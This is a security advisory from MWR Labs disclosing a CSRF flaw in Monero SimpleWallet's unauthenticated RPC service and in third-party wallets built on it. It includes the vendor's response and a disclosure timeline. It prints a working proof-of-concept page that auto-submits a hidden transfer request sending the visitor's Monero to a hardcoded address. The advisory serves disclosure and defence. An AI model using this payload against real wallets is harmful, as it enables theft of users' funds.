MWR LABS

Security Advisory

CSRF Vulnerability Allows for Remote Compromise of Monero Wallets

19/09/16

Software	Monero SimpleWallet (RPC Mode) + Third Party Wallets
Affected Versions	Monero Core <= 0.10.0 (SimpleWallet) + Third Party Wallets
Author	Henry Hoggard - MWRLabs
Severity	High
Vendor	Monero
Vendor Response	• Hotfix released for September Hard Fork. Patch disabled by default. • Official GUI wallet release will mitigate this by removing RPC mode and using ZeroMQ instead.

Description:

Monero is a private, untraceable crypto currency. In recent weeks it has gained a lot of publicity and has risen in value significantly. It is the second most traded crypto currency this month after Bitcoin.

A Cross Site Request Forgery vulnerability was discovered that could give attackers the ability to remotely steal Monero from users running vulnerable wallets. Monero users must take action and update wallets to protect themselves against this attack.

Vulnerable Wallets:

The following wallets use Simplewallet in RPC mode and therefore are vulnerable:

- Monero SimpleWallet - https://github.com/monero-project/monero
- Monero Lightwallet - https://github.com/jwinterm/LightWallet2/
- Monero Wallet Chrome - https://chrome.google.com/webstore/detail/monero-wallet-for-google/bddoeeocbnbkdlciahimmaciiiiadocb
- Monero GUI Client.net - https://github.com/kripod/MoneroGui.Net
- Monero JS - https://github.com/netmonk/moneronjs
- Monero NodeJS - https://github.com/PsychicCat/monero-nodejs
- Monero QT - https://github.com/Neozaru/bitmonero-qt
- Minonodo - https://github.com/ShenNoether/MiniNodo

**Note: This is not an exhaustive list, it is likely that more wallets will be affected by this issue.*

Impact:

An attacker could exploit this vulnerability to steal Monero from vulnerable wallets. This would involve a minimal amount of social engineering for attackers to direct users to a webpage hosting the exploit.

Cause:

Monero SimpleWallet hosts an RPC web service on localhost, port 18082, the web service requires no authentication to initiate functions such as making payments, and can be compromised through a Cross Site Request Forgery attack.

Cross Site Request Forgery is an attack that forces a user's browser to execute unwanted actions against web applications or web services they are authenticated with. In this case, by directing a user to a malicious web page, an attacker could make a payment from the user's wallet to their own wallet. Third party wallets were found to use Simplewallet in RPC mode, making the majority of third party wallets vulnerable to this attack too.

Exploit:

The below script performs a Cross Site Request Forgery (CSRF) attack that would automatically steal Monero from the wallet of any user who visited the webpage.

```
<html>
	<form action=http://127.0.0.1:18082/json_rpc method=post enctype="text/plain" name="pay" >
		<input
name='{"jsonrpc":"2.0","id":"0","method":"transfer","params":{"destinations":[{"amount":100000000000,"
address":"49FuXtv95dkZj5aDaoWkbjQRv9Qu6UMwAAJKP68vksbpRJEPNZfkr6Ecbj9wrqG4xHAiMArmpGsxRbkmxAC8NEydBEvc
162"}],"fee":000000000000,"mixin":3,"unlock_time":0,"payment_id":"","get_tx_key":true}}'
type='hidden'>
	</form>
	<script>
		document.pay.submit()
	</script>
</html>
```

Remedial Action:

Update 20/09/16

~~The vendor has released a hotfix for this vulnerability. It is important Monero users update their versions of Monero immediately. Users of third party offline wallets are unlikely to have a patch available yet, therefore it is recommended that users transfer their funds out of third party wallets into a secure wallet, such as the updated version of Simplewallet (https://github.com/monero-project/monero/releases/tag/v0.10.0).~~

Researcher Joseph Redfern reported that the patch for this vulnerability was disabled by default, and users are still vulnerable. To enable the patch, the "--user-agent" argument must be provided as shown in the example below.

```
./monero-wallet-cli --rpc-bind-port 18082 --rpc-bind-ip 127.0.0.1 --user-agent
123456randomstring
```

As this vulnerability is still exploitable, MWR recommends against using any third party Monero wallet, and against running Simplewallet in RPC mode.

Disclosure Timeline:

Date	Summary
2016-09-06	Vulnerability Reported.
2016-09-07	Vendor verifies vulnerability and states that a hotfix will be developed in time for September hard fork.
2016-09-07	Vendor states that the Official GUI wallet is in development, this will remediate this issue as it doesn't use the RPC API.
2016-09-19	September hard fork released with hotfix for issue.
2016-09-20	MWR confirms that wallet is still insecure by default after patch. Vendor confirms this is by design as to not break product support.